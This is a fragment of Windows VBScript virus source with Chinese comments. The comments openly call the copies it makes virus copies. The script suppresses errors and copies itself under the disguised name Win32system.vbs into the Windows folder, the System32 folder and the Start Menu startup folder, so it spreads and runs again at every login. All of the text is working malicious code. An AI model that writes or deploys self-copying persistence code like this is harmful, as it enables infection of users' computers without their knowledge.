On Error Resume Next Set fs=CreateObject("Scripting.FileSystemObject") '创建一个能与操作系统沟通的对象,再利用该对象的各种方法对注册表进行操作 Set dir1=fs.GetSpecialFolder(0) '获取Windows/WinNT文件夹位置 Set dir2=fs.GetSpecialFolder(1) '获取System32/System文件夹位置 Set so=CreateObject("Scripting.FileSystemObject") dim r '定义一个变量 Set r=CreateObject("Wscript.Shell") so.GetFile(WScript.ScriptFullName).Copy(dir1&"\Win32system.vbs") '复制病毒副本到Windows/WinNT文件夹位置 so.GetFile(WScript.ScriptFullName).Copy(dir2&"\Win32system.vbs") '复制病毒副本到System32/System文件夹位置 so.GetFile(WScript.ScriptFullName).Copy(dir1&"\Start Menu\Programs\启动\Win32system.vbs") '复制病毒副本到Start Menu启动菜单